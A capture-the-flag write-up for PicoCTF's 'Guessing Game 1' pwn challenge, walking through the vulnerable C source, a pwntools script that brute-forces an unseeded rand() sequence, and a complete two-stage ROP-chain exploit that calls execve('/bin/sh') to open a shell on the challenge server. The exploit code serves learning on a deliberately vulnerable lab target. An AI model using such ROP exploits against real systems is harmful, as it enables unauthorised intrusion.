PicoCTF - Guessing Game 1 [Pwn]
Introduction
“Guessing Game 1” is a pwn challenge of PicoCTF.
First Considerations
The first thing I did, in order to tackle the challenge, was to gather some general information about the binary provided by the challenge itself.
Interestingly, the 64-bit executable is statically linked, this can only mean two things:
- The program does nearly nothing
- The program contains all the function it needs, including the functions that usually are implemented inside the Libc (this implies also that the binary is able to provide us a lot of gadgets!)
With regard to the security measures, I noticed a contradiction: the pwntools detected a canary, while the makefile provided by the challenge specify that the stack is no proteceted.
Therefore, I assumed that the only security measure implemented was the no-execute bit (no shellcode this time).
Code Analysis
The challenge provided the source code of the binary, therefore I was able to let Ghidra sleep (thank God).
The source code of the challenge is the following one:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>#define BUFSIZE 100long increment(long in) {
return in + 1;
}long get_random() {
return rand() % BUFSIZE;
}int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
I was immediately able to identify a huge buffer overflow inside the win() function. Indeed the function tries to store a 360-byte string inside a buffer of 100-byte. However, in order to reach the win() function, it is necessary to guess what is seems to be a randomly generated number. Luckily, I noticed that the program does not provide a dynamic seed to the rand() function, therefore the random sequence of number generated is the same for each execution.
Brute-force the Random Sequence
In order to brute-force the random sequence generated by the rand() I wrote a simple python script that works both locally and remotely.
#!/bin/python3from pwn import *class bcolors:
GREEN = '\u001b[32m'
RED = '\u001b[31m'
ENDC = '\033[0m'HOST = 'jupiter.challenges.picoctf.org'
PORT = <port>random_sequence = []print(f'\n\t\t\t{bcolors.GREEN}### CRACKING THE RANDOM SEQUENCE ###{bcolors.ENDC}\n')for i in range(<number of elements to crack>):
for j in range(1,101):
r = remote(HOST, PORT)
for number in random_sequence:
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(number).encode())
r.recvuntil(b'Name? ')
r.sendline(b'whitesnake')
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(j).encode())
response = r.recvline()
if b'Nope' not in response:
random_sequence.append(j)
print(f'{bcolors.RED}--- '+str(i+1)+f' CRACKED ['+str(j)+f']{bcolors.ENDC}')
r.close()
break
r.close()print(f'\n\t\t\t{bcolors.GREEN}### RANDOM SEQUENCE FOUND ###{bcolors.ENDC}\n')
print(random_sequence)
The random sequence I found was: 84, 87, 78, 16, 94 …
Exploitation: General Idea
Because of the huge amount of gadgets present in the binary, the plan to exploit the program was pretty straightforward:
- Leverage one ROPchain to write the string “/bin/sh\x00” inside a writable memory segment
- Jump to the first instruction of the main in order to exploit the buffer overflow a second time
- Leverage a second ROPchain to call execve(“/bin/sh”, 0x0, 0x0) and therefore to get a remote shell
Exploitation: Implementation
In order to craft the two ROPchains I needed the following local gadgets/addresses:
- A “pop rax; ret” gadget
- A “pop rdi; ret” gadget
- A “pop rsi; ret” gadget
- A “pop rdx; ret” gadget
- A “syscall” gadget
- The address of the read() function
- The address of the first instruction of the main function
- An address belonging to a writable segment of memory
I found nearly all these elements by using ROPgadget, but I used GDB in order to get the address of a writable memory segment:
As always, I used cyclic in order to find the right padding that allowed me to take control of the instruction pointer.
Then, I wrote the following script to exploit the program remotely:
#!/bin/python3from pwn import *HOST = 'jupiter.challenges.picoctf.org'
PORT = <port>
EXE = './vuln'r = remote(HOST, PORT)elf = ELF(EXE)main = 0x400c8c
pop_rax = 0x4163f4
pop_rdi = 0x400696
pop_rsi = 0x410ca3
pop_rdx = 0x44a6b5
syscall = 0x40137c
bss = 0x6bc4a0
read = elf.symbols['read']random_sequence = [84, 87, 78, 16, 94]r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(random_sequence[0]).encode())
r.recvuntil(b'Name? ')payload = b'\x90'*120
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(9)
payload += p64(read)
payload += p64(main)r.sendline(payload)input('The program has been exploited. Press ENTER to get a remote shell...')r.sendline(b'/bin/sh\x00')r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(random_sequence[1]).encode())
r.recvuntil(b'Name? ')payload = b'\x90'*120
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)r.sendline(payload)r.interactive()
Once I executed the script, I was able to obtain a shell attached to the remote server and therefore I was able to extract the flag:
Pwned!